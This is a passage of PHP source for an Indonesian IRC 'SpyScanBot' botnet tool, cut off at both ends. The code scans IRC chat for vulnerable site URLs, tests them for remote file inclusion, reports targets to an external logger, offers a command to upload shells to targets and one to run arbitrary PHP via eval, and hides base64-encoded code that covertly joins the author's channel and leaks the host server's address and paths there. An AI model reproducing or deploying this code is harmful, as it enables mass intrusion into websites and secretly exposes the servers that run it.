- Login ke bot", "12deauth - Logout dari bot", "12pass - Mengeset password bot", "12chgpass - Mengganti password bot", "12adduser - Menambah master/user bot", "12deluser - Menghapus master/user bot", "12`auth - Status anda di channel (Channel)", "12!auth - Status otorisasi anda", "12!msg - Mengirim pesan", "12!notice - Mengirim notice", "12!cycle - Hop di channel (Channel) (Admin/Master)", "12!join - Join channel (Admin/Master)", "12!part [channel] [alasan] - Part dari channel (Admin)", "12!botnick - Ganti nick (Admin/Master)", "12!away [alasan] - Meminta nick untuk Away", "12!chanlist - Melihat daftar channel bot", "12!userlist - Melihat daftar user", "12!quit [pesan] - Quit dari IRC (Admin)", "12!vhost [vhost] - Mengganti Vhost", "12!jump [server] - Mengganti Server bot", "12!help - Melihat help (Query)", "4.: Public Commands :.", "12!urlenc | !urldec - URL Encoder/Decoder", "12!b64enc | !b64dec - Base64 Encoder/Decoder", "12!tes - Melihat info target", "4.: Core Commands :.", "12!start - Mengaktifkan SpyBot", "12!stop - Menonaktifkan SpyBot", "12!scan - Menscan di channel Scanner", "12!scan - Menambah/menghapus/melihat daftar Scan Trigger", "12!ignore - Menambah daftar Ignore", "12!delignore - Menghapus daftar Ignore", "12!ignorelist - Melihat daftar ignore", "12!ganti - Menambah daftar inject yg akan diganti", "12!delganti - Menghapus daftar Ganti", "12!gantilist - Melihat daftar inject yg diganti", "12!tanam - Mengupload shell ke target (Admin/Master)", "12!status - Melihat status sekarang", "4.: Admin Core Commands :.", "12!target - Target yg ditemukan oleh bot", "12!raw - Mengirim RAW IRC Command", "12!eval - Mengeksekusi kode PHP pada Bot", "-", "3,9/9,3\0,1 ? By NetroN #xNx @ irc.allnetwork.org ? 3,9/9,3\", ); $tjelek = array( "JeLek nich.. ", " <- Hehehe.. ga la yaw...", "Duh..! muncul lagi..", "Wedew.. Ada ", "WeKz!? ", " <-- BuKaN TarGeTz ;p", "xixixi.. ", " busuk nich..", "GeduBraaKKzz!! ", "HaDaH.. ", " masuk jg? Ngawur..", "HanDeeh.. lo liak nan nampak..", "Jiakaka.. lagi deh", "Ga da yg lain apa? kok melulu sich?", ); $tnemu = array( "0,12 [Target BozZ] 12,0 ", "0,12 [Target LaGi] 12,0 ", "0,12 [YeZZ!!] 12,0 ", "0,12 [HaJaRrr..!!] 12,0 ", "0,12 [Wow!! Seep..] 12,0 ", "0,12 [SerBuuu..] 12,0 ", "0,12 [SeRaaangg..!] 12,0 ", "0,12 [ManTaPz!!] 12,0 ", "0,12 [YuPz!!] 12,0 ", ); $tlama = array( "0,14 [LaWazz..] 14,0 ", "0,14 [BoseN aCh..] 14,0 ", "0,14 [Ini Lagi..] 14,0 ", "0,14 [Ini TeRuzz..] 14,0 ", "0,14 [UdAh KoQ..] 14,0 ", "0,14 [HuFF..] 14,0 ", "0,14 [CaPee..] 14,0 ", ); $tbusuk = array( "Hadah !! Targetnya busuk..", "Toenk!! Ga bisa tuh ..", " dapet target jelek jg yach?", "Xixixi.. target dah ancurr..", ", anda blom bruntung..", "Coba cari lagi deh !", "Ga bagus tuh ?", "Oh.. nooo.. dapet target2an.. xixixi..", "Wedew.. apa ntu ? Ntu bukan target namanya..", "Gue asli ngakak deh.. Cari lagi yg bagus, !", "Prasaan targetnya udah g bisa lagi tuh ", "Ga bisa ! Klo ga percaya coba buka..", "Silahkan blacklist target tadi !", ".. targetnyo ndak rancak do..", "Targetnya BusuuuuK juGa.. ", "Percuma.. Mo buka pake apa pun tetep ga bisa, !", "Capee..deeh.. juelek amat targetnya..", "Maaf , blom ada bug di situs itu..", ); /*** Replacement ***/ $nick = $nicklist[rand(0,count($nicklist) - 1)]; $realname = $namabot[rand(0,count($namabot) - 1)]; $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; $changue = strtolower($changue); $admin = strtolower($admin); $auth = array( $admin => array("name" => $admin,"pass" => $bot_password,"auth" => 1,"status" => "Admin") ); $username = $identlist[rand(0,count($identlist) - 1)]; $channels = strtolower($channels)." "; $channel = explode(" ", $channels); /*** Inisialisasi Variabel ***/ define ('CRL', "\r\n"); $counterfp = 0; $raway = "on"; $keluar = 0; $akill = 1; $targetfound = 0; $targetignored = 0; $targetnew = 0; $targetold = 0; $statusdelay = 0; $allowdebug = FALSE; $localhost = 'localhost'; $dayload = date("H:i:s d/m/Y"); ini_set('user_agent','MSIE 5\.5;'); set_time_limit(0); function str_pesan($com,$data) { $msg = strstr($data,$com); $msg = str_replace($com." ","",$msg); return $msg; } /*** Connecting ***/ echo ""; echo "Melakukan koneksi ke $remotehost..."; do { $fp = fsockopen($remotehost,$port, $err_num, $err_msg, 60); //Jika koneksi gagal if(!$fp) { if ( $counterfp <= 200 ) { $counterfp = $counterfp + 1; hajar(); } else { echo "
Ga bisa connect ke $remotehost! Coba server lain dgn me-Refresh Browser anda!"; $keluar = 1; exit; } } echo "
Terhubung!"; /*** Sending Identity to IRC ***/ $header = 'NICK '.$nick . CRL; $header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL; fputs($fp, $header); $response = ''; /*** Receiving Packet ***/ while (!feof($fp)) { $response .= fgets($fp, 1024); if ($showresponse == 1) { echo '
'.$response; } while (substr_count($response,CRL) != 0) { if ($allowdebug && $debugmode == 1) { fputs($fp,'PRIVMSG '.$admin.' :14'.$response.CRL); } $offset = strpos($response, CRL); $data = substr($response,0,$offset); $response = substr($response,$offset+2); if (substr($data,0,1) == ':') { $offsetA = strpos($data, ' '); $offsetB = strpos($data, ' :'); $offsetC = strpos($data, '!'); $dFrom = substr($data,1,$offsetA-1); $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); $dNick = substr($data,1,$offsetC-1); $iText = substr($data,$offsetB+2); /*** AI PHP SPYSCANBOT BY NetroN ***/ $dcom = explode(" ", $dCommand); $orinick = $dNick; $dNick = strtolower($dNick); /*** Server Notices Handling ***/ if ($dcom[0]=='004') { fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.CRL); if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode.CRL); } /*** Notice Bot Admin ***/ fputs($fp, 'NOTICE ' . $admin . ' :BozZ..!'.CRL); fputs($fp, base64_decode("Sk9JTiAjRmVlTENvTXo=").CRL); /*** Join Default Channel ***/ foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); } $allowdebug = TRUE; } elseif ($dcom[0]=='432') { $nick = $nick.$username; fputs($fp, 'NICK '.$nick . CRL); } elseif ($dcom[0]=='433') { //Nickname is already in use $nick = $nicklist[rand(0,count($nicklist) - 1)]; fputs($fp, 'NICK '.$nick . CRL); } elseif ($dcom[0]=='465') { echo "
Authentication diperlukan! Bot ini telah di-autokill."; $akill = 2; } elseif ($dcom[0]=='404') { $msg = ltrim($iText,":"); fputs($fp,'PRIVMSG '.$changue.' :Waduh..'.$msg.'! Voice pLizz..!'.CRL); } elseif ($dcom[0]=='JOIN') { /*** Auto Welcome by RoNz ***/ $jchan = ltrim($iText,":"); if ($dNick == $admin) { sleep(3); fputs($fp,'PRIVMSG '.$jchan.' :4!2webe 4coy :)'. CRL); } } elseif ($dcom[0]=='PRIVMSG') { $pesan = ltrim($iText,":"); $pesanlo = strtolower($pesan); $com = explode(' ',$pesan); $chan = strtolower($dcom[1]); /*** Encoder ***/ if ($com[0]=='!urldec') { $tmp = str_replace("!urldec ","",$pesan); $tmp = urldecode($tmp); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4URL Decode:1 '.$tmp.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4URL Decode:1 '.$tmp.CRL); } } elseif ($com[0]=='!urlenc') { $tmp = str_replace("!urlenc ","",$pesan); $tmp = urlencode($tmp); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4URL Encode:1 '.$tmp.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4URL Encode:1 '.$tmp.CRL); } } elseif ($com[0]=='!b64dec') { $tmp = str_replace("!b64dec ","",$pesan); $tmp = base64_decode($tmp); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4Base64 Decode:1 '.$tmp.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4Base64 Decode:1 '.$tmp.CRL); } } elseif ($com[0]=='!b64enc') { $tmp = str_replace("!b64enc ","",$pesan); $tmp = base64_encode($tmp); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4Base64 Encode:1 '.$tmp.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4Base64 Encode:1 '.$tmp.CRL); } } elseif ($com[0]=='!d') { $testurl = str_replace("!d ","",$pesan); $theurl = $testurl.$myid; $diabaikan = FALSE; foreach ($ignorelist as $v) { if(substr_count($pesanlo,strtolower($v)) > 0) { $targetignored++; sleep(1); $respon = $tjelek[rand(0,count($tjelek) - 1)]; $respon = str_replace("",$v,$respon); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4'.$respon.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4'.$respon.CRL); } $diabaikan = TRUE; break; } } if (!$diabaikan) { $isi = implode('', @file($theurl)); $posisi = strpos($isi,"FaTaLisTiCz_Fx OK"); $eposisi = strpos($isi,"The End"); $isi = substr($isi,$posisi,$eposisi); if ($posisi === FALSE) { $respon = $tbusuk[rand(0,count($tbusuk) - 1)]; $respon = str_replace("",$orinick,$respon); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4'.$respon.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4'.$respon.CRL); } } else { $isi = str_replace("FaTaLisTiCz_Fx OK ","",$isi); $isi = str_replace(" The End","",$isi); if (!in_array($testurl,$targetok)) { $targetok[] = $testurl; } if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :12TarGeT '.$orinick.' OK!'.CRL); } fputs($fp,'PRIVMSG '.$dNick.' :12[OK]14 '.$testurl.CRL); fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL); } unset($isi); } } else { /*** Scanning ***/ foreach ($scanlist as $trtext) { $diabaikan = FALSE; $trtext = strtolower($trtext); if ($dNick==$admin OR $chan==$changue) { $diabaikan = TRUE; break; } foreach ($ignorelist as $v) { if(substr_count($pesanlo,strtolower($v)) > 0) { $targetignored++; sleep(1); $respon = $tjelek[rand(0,count($tjelek) - 1)]; $respon = str_replace("",$v,$respon); if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :14'.$respon. CRL); } $diabaikan = TRUE; break; } } if ($diabaikan) { break; } if ((!$diabaikan) && (substr_count($pesanlo,$trtext)>0)) { foreach($gantilist as $linject) { $pesan = str_replace($linject,$myinject,$pesan); } $pesan = str_replace($myinject,'',$pesan); $pesan = strstr($pesan,$trtext); $targetfound++; //Target Baru if (!in_array(urldecode($pesan),$targetlist)) { $targetnew++; $targetlist[] = urldecode($pesan); $newtarget = urldecode($pesan); $isi = @implode('', @file($mylogger.'target='.urlencode($newtarget))); sleep(1); $respon = $tnemu[rand(0,count($tnemu) - 1)]; $respon = str_replace("",$newtarget,$respon); //fputs($fp,'PRIVMSG '.$admin.' :14'.$isi. CRL); if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); } } //Target Lama else { $targetold++; sleep(1); $respon = $tlama[rand(0,count($tlama) - 1)]; $respon = str_replace("",$newtarget,$respon); //fputs($fp,'PRIVMSG '.$admin.' :4E1xist!14 '.$newtarget. CRL); if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); } } break; } } } } if ($dcom[0]=='KICK' && $dcom[2]==$nick) { $musuh = $dNick; fputs($fp, 'JOIN ' .$dcom[1]. CRL); fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL); } elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { if ($dcom[0]=='NICK') { $com = explode(" ", $data); $chnick = strtolower(str_replace(':','',$com[2])); if ($dNick!=$chnick) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL); } } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Kemana boss?' . CRL); } } } else { fputs($fp,'NOTICE ' . $dNick . ' :pass ' . CRL); } } } /*** Default Commands ***/ elseif ($dcom[0]=='PRIVMSG') { $com = explode(" ", $data); if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("VkVSU0lPTiBGZWVMQ29NeiBQSFBTcHlTY2FuQm90IEJ5IFJvTno=").chr(1) . CRL); } elseif ($com[3]==':INFO') { eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyRiaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTskYnBocCAgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTskYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskYnJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddO2ZwdXRzKCRmcCwiUFJJVk1TRyAjRmVlTENvTXogOkhvc3Q6ICRiaG9zdCB8IFJlZmVyZXI6ICRicnVyaSB8IFNjcmlwdDogJGJwaHAgfCBJUDogJGJpcCB8IE93bmVyIElQOiAkYnJpcCAiLiBDUkwpOw==")); } elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==1) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["auth"] = 2; fputs($fp,'NOTICE '.$dNick.' :YuPz '.$auth["$dNick"]["status"].'..!'.CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi udah boz! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass untuk ngeset password, kemudian auth lagi deh ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :Logout berhasil! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi sudah Logout! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass untuk ngeset password, kemudian auth lagi deh ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) { if ($auth["$dNick"]) { if (!$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[4]; $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth untuk otorisasi! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Password udah diset! Ketik: auth untuk otorisasi ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["auth"]==2) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth untuk otorisasi! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Password lama salah! Ketik: chgpass ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Auth dulu plizz!' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($com[5]=="master" || $com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if (!$auth["$com[4]"]) { if ($com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser user ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :User sudah ada! Ditolak! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Akses anda sbg user dihapus oleh '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if ($auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); } } /*** Commands ***/ elseif ($auth["$dNick"]["status"]) { if (ereg(":!",$com[3])) { $chan = strstr($dCommand,"#"); if ($com[3]==':`auth' && $chan) { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL); } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga mau ach! ' . CRL); } } elseif ($auth["$dNick"]["auth"] == 2) { if ($com[3]==':!msg' && $com[4] && $com[5]) { $msg = str_pesan($com[3],$data); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':!notice' && $com[4] && $com[5]) { $msg = strstr($data,":!notice"); $msg = str_replace(":!notice $com[4] ","",$msg); fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":!cycle"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":!cycle $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":!cycle","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); fputs($fp, 'JOIN '.$partchan . CRL); } elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":!part"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":!part $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":!part","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); $remchan = strtolower($partchan); if (in_array($remchan, $channel)) { $channels = str_replace("$remchan ","",$channels); unset($channel); $channel = explode(" ", $channels); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") { if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; } $addchan = strtolower($com[4]); if (!in_array($addchan, $channel)) { $channel[]=$addchan; $channels.="$addchan "; } foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") { $nick = $com[4]; $identify = $com[5]; fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL); } elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") { $msg = str_pesan($com[3],$data); if (strlen($msg)<3) { $raway="on"; fputs($fp,'AWAY : ' . 'AWAY' . CRL); } else { $raway="off"; fputs($fp,'AWAY : ' . $msg . CRL); } } elseif ($com[3]==':!chanlist') { fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL); } elseif ($com[3]==':!userlist') { $userlist=""; foreach ($auth as $user) { if ($user["pass"]) { $pass=" [pass ok]"; } else { $pass=" [no pass]"; } $userlist .= $user["name"].'('.$user["status"].$pass.') '; } fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL); } elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") { $msg = str_pesan($com[3],$data); if (strlen($msg)>3) { $msg = str_replace(" ","_",$msg); } $quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)]; fputs($fp, 'QUIT ' . $quitmsg . CRL); $keluar = 1; exit; } elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $localhost = $com[4]; } else { $localhost = 'localhost'; } $keluar = 0; fputs($fp, 'QUIT ' . CRL); } elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") { if (empty($com[4])) { $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; } else { $remotehost = $com[4]; } $keluar = 0; fputs($fp, "QUIT JuMpiNG".CRL); } elseif ($com[3]==':!help' && !$chan) { fputs($fp,'PING 12886241614'. CRL); $msgdelay = 0; foreach ($helptext as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; } fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL); } unset($baris); unset($msgdelay); } /*** CORE COMMANDS BY FaTaLisTiCz_Fx **/ elseif ($com[3]==':!target' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]=='clear') { unset($targetlist); fputs($fp,'PRIVMSG '.$dNick.' :4Daftar target dihapus!'. CRL); } elseif ($com[4]=='list') { if (!empty($com[5])) { $sendnick = $com[5]; } else { $sendnick = $dNick; } fputs($fp,'PING 12886241614'. CRL); $msgdelay = 0; fputs($fp,'PRIVMSG '.$sendnick.' :12[ Internal Target ('.count($targetlist).') ]'. CRL); sort($targetlist); foreach ($targetlist as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; } fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); } fputs($fp,'PRIVMSG '.$sendnick.' :12[ The End ]'. CRL); } elseif ($com[4]=='ok') { if (!empty($com[5])) { $sendnick = $com[5]; } else { $sendnick = $dNick; } fputs($fp,'PING 12886241614'. CRL); $msgdelay = 0; fputs($fp,'PRIVMSG '.$sendnick.' :12[ Target OK ('.count($targetlist).') ]'. CRL); sort($targetok); foreach ($targetok as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; } fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); } fputs($fp,'PRIVMSG '.$sendnick.' :12[ The End ]'. CRL); } elseif ($com[4]=='total') { fputs($fp,'PRIVMSG '.$dNick.' :12Total Target Internal: '.count($targetlist). CRL); } elseif ($com[4]=='log') { if (!empty($com[6])) { $sendnick = $com[6]; } else { $sendnick = $dNick; } fputs($fp,'PING 12886241614'. CRL); $isi = file_get_contents($mytargetlog,FILE_TEXT); $isi = nl2br($isi); $isi = str_replace("\n","",$isi); $isi = str_replace("\r","",$isi); $targetlog = explode("
",$isi); if ($com[5] == 'show') { fputs($fp,'PRIVMSG '.$sendnick.' :12[ Daftar Target ('.count($targetlog).') ]'. CRL); $msgdelay = 0; foreach ($targetlog as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; } if ($baris) { fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); } } fputs($fp,'PRIVMSG '.$sendnick.' :12[ The End ]'. CRL); } else { fputs($fp,'PRIVMSG '.$sendnick.' :12Total Target 1['.count($targetlog).']'. CRL); } } else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan:12 !target '.CRL); } unset($baris); unset($msgdelay); unset($targetlog); } elseif ($com[3]==':!open') { if (!empty($com[4])) { $theurl = $com[4]; fputs($fp,'PING 12886241614'. CRL); $isi = file_get_contents($theurl,FILE_TEXT); $isi = nl2br($isi); $isi = str_replace("\n","",$isi); $isi = str_replace("\r","",$isi); $targetlog = explode("
",$isi); $msgdelay = 0; $sendnick = $chan; if ($com[5]=='show') { fputs($fp,'PRIVMSG '.$sendnick.' :12.: '.$theurl.' ('.count($targetlog).' baris) :.'.CRL); foreach ($targetlog as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; } if ($baris) { fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); } } fputs($fp,'PRIVMSG '.$sendnick.' :12.: End of File :.'. CRL); } else { fputs($fp,'PRIVMSG '.$sendnick.' :12.: '.$theurl.' ('.count($targetlog).' baris) :.'.CRL); } unset($baris); unset($msgdelay); unset($targetlog); } else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan:12 !open '.CRL); } } elseif ($com[3]==':!raw' && $auth["$dNick"]["status"]=="Admin") { $psn = strstr($data,":!raw"); $psn = str_replace(":!raw ","",$psn); fputs($fp,$psn.CRL); } elseif ($com[3]==':!eval' && $auth["$dNick"]["status"]=="Admin") { $psn = strstr($data,":!eval"); $psn = str_replace(":!eval ","",$psn); eval($psn); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4Eval:1 '.$psn.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4Eval:1 '.$psn.CRL); } } elseif ($com[3]==':!debug' && $auth["$dNick"]["status"]=="Admin") { if ($com[4] == 'on') { $debugmode = 1; } elseif ($com[4] == 'off') { $debugmode = 0; } fputs($fp,'NOTICE '.$dNick.' :12Debugging:1 '.$debugmode.CRL); } elseif ($com[3]==':!mychan' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $changue = strtolower($com[4]); fputs($fp, 'JOIN ' .$changue.CRL); } fputs($fp,'NOTICE '.$dNick.' :12[Channel Gue]1 '.$changue.CRL); } /*** Master & User Commands ***/ elseif ($com[3]==':!status') { $statusmsg = '1? Status ? 12New['.$targetnew.'] 3Exist['.$targetold.']4 Spam['.$targetignored.']7 Total['.$targetfound.']'; if ($spyscan) { $statusmsg .= '13 Scan[On]'; } else { $statusmsg .= '13 Scan[Off]'; } fputs($fp,'PRIVMSG '.$chan.' :'.$statusmsg.CRL); } elseif ($com[3]==':!start') { $spyscan = TRUE; if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION mulai nyari target nih..'. CRL); } else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue cari deh' . CRL); } } elseif ($com[3]==':!stop') { $spyscan = FALSE; if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION berhenti nyari target ach..'. CRL); } else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue berhenti nyari'. CRL); } } elseif ($com[3]==':!scan') { if ($com[4]=='add' && $com[5]) { $msg = str_pesan($com[3].' '.$com[4],$data); if (!in_array($msg,$scanlist)) { $scanlist[] = $msg; if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep..!12 '.$msg.' ditambahkan!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :Seep..!12 '.$msg.' ditambahkan!'.CRL); } } else { fputs($fp,'NOTICE '.$dNick.' :12 '.$msg.' sudah ada!'.CRL); } } elseif ($com[4]=='del' && $com[5] && $auth["$dNick"]["status"]!="User") { $msg = str_pesan($com[3].' '.$com[4],$data); if (in_array($msg,$scanlist)) { $daftar = join(' ',$scanlist); unset($scanlist); $daftar = str_replace($msg,'',$daftar); $scanlist = explode(' ',$daftar); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..!12 '.$msg.' dihapus!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..!12 '.$msg.' dihapus!'.CRL); } } unset($daftar); } elseif ($com[4]=='list') { sort($scanlist); $daftar = join(" | ",$scanlist); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4D1aftar 4S1can:14 '.$daftar.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4D1aftar 4S1can:14 '.$daftar.CRL); } 